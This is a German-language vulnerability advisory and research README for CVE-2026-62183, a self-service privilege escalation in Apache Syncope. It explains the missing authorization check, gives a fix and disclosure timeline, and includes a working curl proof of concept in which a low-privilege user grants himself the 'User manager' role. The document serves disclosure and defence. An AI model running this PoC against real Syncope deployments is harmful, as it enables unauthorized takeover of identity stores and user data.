
Apache Syncope: Privilegieneskalation durch Benutzer-Self-Service
Fehlerhaftes Privilegienmanagement (CWE-269) in Apache Syncope. Ein authentifizierter Benutzer mit niedrigen Privilegien kann sich über die Self-Service-API für Benutzer selbst beliebige Rollen zuweisen (sowie Gruppenmitgliedschaften, externe Ressourcen und ein neues Realm) — Operationen, die auf jedem anderen Codepfad administrative Berechtigungen erfordern — und dadurch zum Administrator des Identitätsspeichers werden.
Dieses Repository ist die technische Referenz für die Schwachstelle: Grundursache, ein zur Laufzeit bestätigter Proof of Concept und Reproduktionshinweise. Ein narrativer Bericht darüber, wie sie gefunden wurde, ist separat verfügbar (siehe Write-up).
| CVE | CVE-2026-62183 |
| Hersteller / Produkt | Apache Software Foundation — Apache Syncope |
| Betroffenes Paket | org.apache.syncope.core:syncope-core-workflow-java |
| Klasse | CWE-269 Improper Privilege Management (Mechanismus: CWE-862 Missing Authorization) |
| Schweregrad | Wichtig (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Betroffen | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| Behoben in | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x ist EOL, kein Fix |
| Bestätigt auf | 3.0.16 (Standalone-Distribution, JDK 17), Domäne Master |
Der Self-Service-Update-Endpunkt für Benutzer von Apache Syncope, PATCH /users/self/{key}, erfordert lediglich isAuthenticated(). Die gemeinsame Logikschicht überspringt die Autorisierungsprüfung für „Self“-Operationen, während der Datenbinder privilegierte Anfragefelder (roles, memberships, resources, auxClasses, realm) weiterhin anwendet. Das Ergebnis ist eine direkte Privilegieneskalation: Ein Benutzer mit niedrigen Privilegien weist sich selbst eine privilegierte Rolle zu und erlangt sofort deren Berechtigungen — einschließlich, bei einer entsprechend mächtigen Rolle, der vollständigen Verwaltung aller Benutzer. Wo Selbstregistrierung aktiviert ist, betrifft derselbe Fehler doCreate, sodass ein nicht authentifizierter Angreifer ein bereits privilegiertes Konto registrieren kann.
Die Schwachstelle betrifft Konfigurationen mit einem der folgenden Benutzer-Workflow-Adapter (genau diesen Umfang nennt das Advisory des Herstellers):
Im Produktivbetrieb läuft Self-Service normalerweise über die Enduser-UI, die keine Rollenzuweisung anbietet; um diese Schwachstelle zu erreichen, muss die Core-REST-API für den Benutzer mit niedrigen Privilegien aufrufbar sein. Das unten stehende Laufzeit-PoC verwendet die Standalone-Distribution, die laut Apache-Dokumentation nur zur Evaluierung gedacht ist und Beispieldaten enthält (den Benutzer bellini, die integrierten Rollen User manager / User reviewer) — diese Beispieldaten sind in einer regulären Bereitstellung nicht vorhanden. Das sind ehrliche Einschränkungen hinsichtlich der Ausnutzbarkeit in der Praxis, nicht der Korrektheit des Fehlers.
Anfragefluss für PATCH /users/self/{key}:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. Der Endpunkt autorisiert nur „Ist irgendjemand angemeldet?“ — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
Es ist keine Berechtigung erforderlich (kein USER_UPDATE, kein Rollen-/Realm-Bereich).
2. Die Autorisierungsprüfung wird bei Self-Operationen übersprungen — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. Der Binder wendet privilegierte Felder trotzdem an — UserDataBinderImpl.update(...) übernimmt Rollen-ADD/DELETE, memberships(...) (Gruppen) und fill(...) (Ressourcen / Realm) direkt aus der Anfrage, ohne Prüfung der Berechtigungen des Aufrufers — diese Prüfung soll in der Logikschicht erfolgen, die Schritt 2 überspringt. Der Admin-Pfad (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) führt securityChecks durchaus aus; der Self-Pfad nicht.
Die eskalierte Rolle wird bei der Authentifizierung wirksam: AuthDataAccessor.getUserAuthorities(user) durchläuft userDAO.findAllRoles(user) und vereinigt die Berechtigungen jeder Rolle, sodass die selbst zugewiesene Rolle bei der nächsten Anfrage/Anmeldung des Benutzers aktiv ist. Dieselbe if (!self)-Auslassung ist auch in doCreate vorhanden, wodurch sich der Fehler auf die Selbstregistrierung ausweitet.
Kurz gesagt: Zwei Schichten gingen jeweils davon aus, dass die andere die Privilegienprüfung durchführt. Der Endpunkt delegierte die Autorisierung an die Logikschicht; die Logikschicht übersprang sie für self; der Binder vertraute darauf, dass die Logikschicht die Felder bereits abgesichert hat.
Ein normaler authentifizierter Benutzer ohne Rollen weist sich selbst die integrierte privilegierte Rolle User manager zu (die USER_READ über / gewährt) und liest anschließend ein beliebiges Konto. Keine Admin-Aktion, keine besondere Konfiguration. Vollständiges Skript: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
Beobachtet: [1] 403 → [2] 200 (Rollen jetzt ["User manager"]) → [3] 200. Die Zuweisung bleibt bestehen (bestätigt über die Admin-Ansicht des Benutzers). Dieselbe Anfrageform weist auch memberships (Gruppen), resources (was Provisioning auf externe Systeme auslöst) und ein neues realm selbst zu.
Das PoC verwendet bewusst nur legitime, dokumentierte API-Aufrufe, um die Autorisierungslücke zu demonstrieren. Es ist ein minimaler Nachweis, kein einsatzbereiter Exploit — siehe Verantwortungsvolle Nutzung.
Siehe BUILD.md für ein Laufzeit-Setup ohne Docker und ohne Maven (Standalone-Tomcat + Temurin JDK 17) sowie Readiness-Checks, und dann:
B=http://localhost:9080/syncope/rest ./poc.sh
Jeder authentifizierte Benutzer — einschließlich des Self-Service-Kontos mit den geringsten Privilegien — kann sich die Berechtigungen jeder definierten Rolle selbst zuweisen. Mit einer Rolle, die umfassende USER_*-/Admin-Berechtigungen enthält, bedeutet das die Übernahme des Identitätsspeichers: Alle Benutzer lesen/ändern/löschen sowie Konten-Provisioning auf verbundene externe Systeme über resources / memberships. Wenn Selbstregistrierung aktiviert ist, kann ein nicht authentifizierter Angreifer direkt in einen privilegierten Zustand registrieren (PR:N, CVSS 9.8). Die konkret erlangten Berechtigungen hängen von den Rollen ab, die in der Zielbereitstellung tatsächlich definiert sind.
Behoben in 4.0.7 / 4.1.2 unter SYNCOPE-1983 („Requiring admin approval for self changes beyond attributes“). UserCR / UserUR erhielten ein requiresApproval()-Prädikat (true, wenn eine Anfrage Rollen, Mitgliedschaften, Gruppen, Ressourcen, Beziehungen, verknüpfte Konten oder Benutzer-/Gruppenmanager betrifft), und die Workflow-Adapter leiten solche Self-Anfragen zur Admin-Freigabe weiter, anstatt sie direkt anzuwenden. 3.0.x ist End-of-Life und erhält den Fix nicht — betroffene 3.0.x-Nutzer müssen auf einen unterstützten Zweig aktualisieren.
| Datum (2026) | Ereignis |
|---|---|
| Jun 28 | Privat an [email protected] gemeldet, einschließlich Root-Cause-Analyse und Laufzeit-PoC |
| Jul 13 | Apache-Syncope-PMC bestätigt; CVE-2026-62183 reserviert; Schweregrad als wichtig eingestuft |
| Jul 20 | Fixes veröffentlicht (4.0.7 / 4.1.2); Hersteller-Advisory und CVE-Eintrag veröffentlicht |
Gemäß CVE-Eintrag genannte Finder: Nic Jones (@NicPWNs) und elin kai. Dieses Repository dokumentiert die Quellcode-Analyse und das zur Laufzeit bestätigte PoC, die von Nic Jones beigesteuert wurden.
Ein narrativer Bericht über die Forschung — Methodik, das Apache-Projekt-Audit, das sie zutage förderte, und wie sie zur Laufzeit bestätigt wurde — ist auf meinem Blog: Self-Service to Admin: A Privilege Escalation in Apache Syncope.
Dieses Material wird zu Verteidigungs- und Bildungszwecken veröffentlicht, nach koordinierter Offenlegung und der Veröffentlichung der behobenen Versionen. Das PoC verwendet ausschließlich legitime API-Aufrufe, um den Autorisierungsfehler zu demonstrieren; es ist kein Werkzeug zur Massenausnutzung. Setzen Sie es nicht gegen Systeme ein, die Sie nicht testen dürfen. Wenn Sie Apache Syncope betreiben, aktualisieren Sie auf 4.0.7 / 4.1.2 (oder verlassen Sie 3.0.x).